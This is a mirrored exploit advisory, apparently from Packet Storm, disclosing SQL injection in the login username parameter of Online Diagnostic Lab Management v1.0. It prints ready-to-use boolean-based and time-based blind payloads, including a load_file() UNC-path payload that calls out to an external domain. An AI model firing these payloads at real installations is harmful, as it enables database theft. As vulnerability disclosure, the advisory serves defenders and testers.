Lucene search
K

Online Diagnostic Lab Management 1.0 SQL Injection

🗓️ 01 Aug 2023 00:00:00Reported by nu11secur1tyType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 227 Views

The Online Diagnostic Lab Management v1.0 is vulnerable to SQL injection attacks, allowing attackers to steal information from the database easily

Code
`## Title: Online-Diagnostic-Lab-Management v1.0 Multiple-SQLi  
## Author: nu11secur1ty  
## Date: 08/01/2023  
## Vendor: https://www.youtube.com/watch?v=0nA5xfQ5G0g  
## Vendor: https://www.youtube.com/@MayuriK  
## Software: https://www.sourcecodester.com/php/15667/online-diagnostic-lab-management-system-using-php-and-mysql-free-download.html  
## Reference: https://portswigger.net/web-security/sql-injection  
  
## Description:  
The username parameter appears to be vulnerable to SQL injection  
attacks. The payload '+(select  
load_file('\\\\im86pxgqgu4kxgnpybjcpvwu1l7ev5qthw5oseg3.mnootupaputkaiisaebeqko.com\\mas'))+'  
was submitted in the username parameter. This payload injects a SQL  
sub-query that calls MySQL's load_file function with a UNC file path  
that references a URL on an external domain. The application  
interacted with that domain, indicating that the injected SQL query  
was executed. The attacker can steal all information from the database  
very easily.  
  
STATUS: HIGH-CRITICAL Vulnerability  
  
[+]Payload:  
```mysql  
---  
Parameter: username (POST)  
Type: boolean-based blind  
Title: OR boolean-based blind - WHERE or HAVING clause  
Payload: username=-2553' OR 3590=3590-- aPlO&password=y4S!v5f!S4&login=  
  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: username=hMRUaqVg'+(select  
load_file('\\\\im86pxgqgu4kxgnpybjcpvwu1l7ev5qthw5oseg3.mnootupaputkaiisaebeqko.com\\mas'))+''  
AND (SELECT 2815 FROM (SELECT(SLEEP(15)))TjiG)--  
NgnE&password=y4S!v5f!S4&login=  
---  
  
```  
  
## Reproduce:  
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2022/Online-Diagnostic-Lab-Management-1.10)  
  
## Proof and Exploit:  
[href](https://www.nu11secur1ty.com/2023/07/online-diagnostic-lab-management-v10.html)  
  
## Time spend:  
00:35:00  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Aug 2023 00:00Current
7.1High risk
Vulners AI Score7.1
227